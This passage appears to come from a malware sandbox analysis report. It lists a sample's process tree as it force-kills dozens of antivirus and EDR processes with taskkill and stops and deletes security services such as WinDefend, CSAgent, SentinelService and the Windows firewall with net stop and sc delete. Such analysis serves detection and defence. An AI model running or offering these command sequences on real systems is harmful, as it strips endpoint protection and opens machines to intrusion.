- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im comodo.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im comodo.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im RepMgr.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im RepMgr.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im cfp.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im cfp.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im fortiservice.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im fortiservice.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im CylanceUI.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im CylanceUI.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im WRSVC.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im WRSVC.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im fsgk32.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im fsgk32.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im swi_service.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im swi_service.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im bdsvc.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im bdsvc.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im mfevtps.exe"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /f /im mfevtps.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im NisSrv.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im TmProxy.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im TmProxy.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im WRSA.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im WRSA.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im eamonm.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im eamonm.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im SymCorpUI.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im SymCorpUI.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im AVGSvc.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im AVGSvc.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im vprd.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im vprd.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im mbamservice.exe"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /f /im mbamservice.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im tmccsf.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im tmccsf.exe5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im McAfeeAP.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im McAfeeAP.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im pccntmon.exe"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /f /im pccntmon.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im Traps.exe"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /f /im Traps.exe5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im fsm32.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im fsm32.exe5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im mbamtray.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im mbamtray.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im eProxy.exe"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /f /im eProxy.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im bdredline.exe"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /f /im bdredline.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im TMBMSRV.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im TMBMSRV.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im mbam.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im mbam.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im WRCoreService.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im WRCoreService.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im SophosFS.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im SophosFS.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im AVGUI.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im AVGUI.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im fsav32.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im fsav32.exe5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im a2daemon.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im a2daemon.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im TmPfw.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im TmPfw.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im ekrn.exe"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /f /im ekrn.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im MsSense.exe"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /f /im MsSense.exe5⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im fortiedr.exe"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /f /im fortiedr.exe5⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im panw_edr.exe"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /f /im panw_edr.exe5⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im AvastSvc.exe"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /f /im AvastSvc.exe5⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im Sense.exe"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /f /im Sense.exe5⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im CylanceSvc.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im CylanceSvc.exe5⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im mcshield.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im mcshield.exe5⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im masvc.exe"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /f /im masvc.exe5⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im cb.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im cb.exe5⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /f /im SophosUI.exe"4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im SophosUI.exe5⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop TmPfw /y"4⤵
-
C:\Windows\system32\net.exenet stop TmPfw /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TmPfw /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop TmPfw"4⤵
-
C:\Windows\system32\sc.exesc stop TmPfw5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete TmPfw"4⤵
-
C:\Windows\system32\sc.exesc delete TmPfw5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop VipreSvc /y"4⤵
-
C:\Windows\system32\net.exenet stop VipreSvc /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VipreSvc /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop VipreSvc"4⤵
-
C:\Windows\system32\sc.exesc stop VipreSvc5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete VipreSvc"4⤵
-
C:\Windows\system32\sc.exesc delete VipreSvc5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop FortiEDR /y"4⤵
-
C:\Windows\system32\net.exenet stop FortiEDR /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop FortiEDR /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop FortiEDR"4⤵
-
C:\Windows\system32\sc.exesc stop FortiEDR5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete FortiEDR"4⤵
-
C:\Windows\system32\sc.exesc delete FortiEDR5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop eamon /y"4⤵
-
C:\Windows\system32\net.exenet stop eamon /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop eamon /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop eamon"4⤵
-
C:\Windows\system32\sc.exesc stop eamon5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete eamon"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc delete eamon5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop SophosClean /y"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop SophosClean /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SophosClean /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop SophosClean"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc stop SophosClean5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete SophosClean"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc delete SophosClean5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop CSAgent /y"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop CSAgent /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CSAgent /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop CSAgent"4⤵
-
C:\Windows\system32\sc.exesc stop CSAgent5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete CSAgent"4⤵
-
C:\Windows\system32\sc.exesc delete CSAgent5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop WRCoreService /y"4⤵
-
C:\Windows\system32\net.exenet stop WRCoreService /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WRCoreService /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop WRCoreService"4⤵
-
C:\Windows\system32\sc.exesc stop WRCoreService5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete WRCoreService"4⤵
-
C:\Windows\system32\sc.exesc delete WRCoreService5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop EmsisoftProtectionService /y"4⤵
-
C:\Windows\system32\net.exenet stop EmsisoftProtectionService /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EmsisoftProtectionService /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop EmsisoftProtectionService"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc stop EmsisoftProtectionService5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete EmsisoftProtectionService"4⤵
-
C:\Windows\system32\sc.exesc delete EmsisoftProtectionService5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop McAfee McShield /y"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop McAfee McShield /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop McAfee McShield /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop McAfee McShield"4⤵
-
C:\Windows\system32\sc.exesc stop McAfee McShield5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete McAfee McShield"4⤵
-
C:\Windows\system32\sc.exesc delete McAfee McShield5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop Traps /y"4⤵
-
C:\Windows\system32\net.exenet stop Traps /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Traps /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Traps"4⤵
-
C:\Windows\system32\sc.exesc stop Traps5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete Traps"4⤵
-
C:\Windows\system32\sc.exesc delete Traps5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop Symantec AntiVirus /y"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop Symantec AntiVirus /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Symantec AntiVirus /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Symantec AntiVirus"4⤵
-
C:\Windows\system32\sc.exesc stop Symantec AntiVirus5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete Symantec AntiVirus"4⤵
-
C:\Windows\system32\sc.exesc delete Symantec AntiVirus5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop swi_service /y"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop swi_service /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop swi_service /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop swi_service"4⤵
-
C:\Windows\system32\sc.exesc stop swi_service5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete swi_service"4⤵
-
C:\Windows\system32\sc.exesc delete swi_service5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop SecurityHealthService /y"4⤵
-
C:\Windows\system32\net.exenet stop SecurityHealthService /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SecurityHealthService /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop SecurityHealthService"4⤵
-
C:\Windows\system32\sc.exesc stop SecurityHealthService5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete SecurityHealthService"4⤵
-
C:\Windows\system32\sc.exesc delete SecurityHealthService5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop S1Management /y"4⤵
-
C:\Windows\system32\net.exenet stop S1Management /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop S1Management /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop S1Management"4⤵
-
C:\Windows\system32\sc.exesc stop S1Management5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete S1Management"4⤵
-
C:\Windows\system32\sc.exesc delete S1Management5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop WinDefend /y"4⤵
-
C:\Windows\system32\net.exenet stop WinDefend /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop WinDefend"4⤵
-
C:\Windows\system32\sc.exesc stop WinDefend5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete WinDefend"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc delete WinDefend5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop AVP /y"4⤵
-
C:\Windows\system32\net.exenet stop AVP /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVP /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop AVP"4⤵
-
C:\Windows\system32\sc.exesc stop AVP5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete AVP"4⤵
-
C:\Windows\system32\sc.exesc delete AVP5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop TmCCSF /y"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop TmCCSF /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TmCCSF /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop TmCCSF"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc stop TmCCSF5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete TmCCSF"4⤵
-
C:\Windows\system32\sc.exesc delete TmCCSF5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop SophosConsole /y"4⤵
-
C:\Windows\system32\net.exenet stop SophosConsole /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SophosConsole /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop SophosConsole"4⤵
-
C:\Windows\system32\sc.exesc stop SophosConsole5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete SophosConsole"4⤵
-
C:\Windows\system32\sc.exesc delete SophosConsole5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop PaloAltoEDR /y"4⤵
-
C:\Windows\system32\net.exenet stop PaloAltoEDR /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop PaloAltoEDR /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop PaloAltoEDR"4⤵
-
C:\Windows\system32\sc.exesc stop PaloAltoEDR5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete PaloAltoEDR"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc delete PaloAltoEDR5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop MpsSvc /y"4⤵
-
C:\Windows\system32\net.exenet stop MpsSvc /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MpsSvc /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop MpsSvc"4⤵
-
C:\Windows\system32\sc.exesc stop MpsSvc5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete MpsSvc"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc delete MpsSvc5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop FortiClient /y"4⤵
-
C:\Windows\system32\net.exenet stop FortiClient /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop FortiClient /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop FortiClient"4⤵
-
C:\Windows\system32\sc.exesc stop FortiClient5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete FortiClient"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc delete FortiClient5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop F-Secure Software /y"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop F-Secure Software /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop F-Secure Software /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop F-Secure Software"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc stop F-Secure Software5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete F-Secure Software"4⤵
-
C:\Windows\system32\sc.exesc delete F-Secure Software5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop SentinelService /y"4⤵
-
C:\Windows\system32\net.exenet stop SentinelService /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SentinelService /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop SentinelService"4⤵
-
C:\Windows\system32\sc.exesc stop SentinelService5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete SentinelService"4⤵
-
C:\Windows\system32\sc.exesc delete SentinelService5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop KES /y"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop KES /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KES /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop KES"4⤵
-
C:\Windows\system32\sc.exesc stop KES5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete KES"4⤵
-
C:\Windows\system32\sc.exesc delete KES5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop AVG Antivirus /y"4⤵
-
C:\Windows\system32\net.exenet stop AVG Antivirus /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AVG Antivirus /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop AVG Antivirus"4⤵
-
C:\Windows\system32\sc.exesc stop AVG Antivirus5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete AVG Antivirus"4⤵
-
C:\Windows\system32\sc.exesc delete AVG Antivirus5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop McAfeeFramework /y"4⤵
-
C:\Windows\system32\net.exenet stop McAfeeFramework /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop McAfeeFramework /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop McAfeeFramework"4⤵
-
C:\Windows\system32\sc.exesc stop McAfeeFramework5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete McAfeeFramework"4⤵
-
C:\Windows\system32\sc.exesc delete McAfeeFramework5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "net stop McAfeeEngineService /y"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop McAfeeEngineService /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop McAfeeEngineService /y6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop McAfeeEngineService"4⤵
-
C:\Windows\system32\sc.exesc stop McAfeeEngineService5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc delete McAfeeEngineService"4⤵
-
C:\Windows\system32\sc.exesc delete McAfeeEngineService5⤵
- Launches sc.exe
-
-
-
